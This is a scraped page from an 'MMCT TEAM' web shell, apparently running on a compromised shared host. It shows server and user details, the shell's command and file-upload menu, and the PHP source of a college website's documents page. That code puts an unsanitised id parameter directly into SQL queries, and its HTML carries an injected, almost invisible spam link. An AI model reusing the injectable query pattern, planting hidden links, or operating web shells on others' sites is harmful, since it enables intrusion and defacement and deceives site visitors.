MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/svschool.in/../jsssakrilawcollegehubli.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/svschool.in/../jsssakrilawcollegehubli.in/public_html/documents.php
<?php
if(isset($_GET['id']))
{
	include"header.php";
	$id=$_GET['id'];
?>
    <!-- End Header -->
    <!-- Start Hero Area -->
    <?php
    $sql_man=mysqli_query($con,"select * from master_cat as cat inner join attendance as a ON a.cat_id=cat.id where a.cat_id=$id");
    $res_man=mysqli_fetch_array($sql_man);
    $cat_name=$res_man['category'];
    ?>
    <section class="hero-section height-470 bg_dark_9" style="background-image:url(assets/images/about_us.png)" data-aos="fade-up">
        <div class="hero-area">
            <div class="container">
                <div class="row">
                    <div class="col-md-12">
                        <div class="page-hrader text-white text-center">
                            <h1 class="display-3"><?php echo $cat_name; ?></h1>
                            <div class="page-breadcrumb">
                                <p><a class="text-white" href="index.html">Home</a> - NAAC</p>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section><div style="position: absolute; filter: alpha(opacity=0); opacity: 0.001; z-index: 10;"><a href="https://gobags.to">https://gobags.to</a></div>
    <!-- End Hero Area -->
    <!-- Start Author Intro -->
    <section class="intro-section section-ptb bg_dark_9" data-aos="fade-up">
        <div class="intro-area">
            <div class="container">
                <div class="row">
                    
                    <div class="col-sm-12"  >
                        <div class="half_column_content">
                            <a href="#"> <h3>Documents</h3>  <a></a>
                            <table class="table table-bordered">
                                <thead>
                                    <tr>
                                        <th>Sr. No</th>
                                        <th>Document</th>
                                    </tr>
                                </thead>
                                <tbody>
                            <?php
                            $i=0;
                            $sql_doc=mysqli_query($con,"select * from master_cat as cat inner join attendance as a ON a.cat_id=cat.id where a.cat_id=$id");
                            while($res_doc=mysqli_fetch_array($sql_doc))
                            {
                                $i=$i+1;
                                ?>
                                <tr>
                                    <td><?php echo $i; ?></td>
                                    <td><a target="_blank" href="admin/pages/Admin/<?php echo $res_doc['file']; ?>"><?php echo $res_doc['description']; ?></a></td>
                                </tr>
                                <?php
                            }
                            ?>
                            </tbody>
                            </table>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!-- End Author Intro -->
    
  <?php
	include"footer.php";
}
else
{
    echo"<script>window.location='index.php';</script>";
}
?>

MMCT - 2023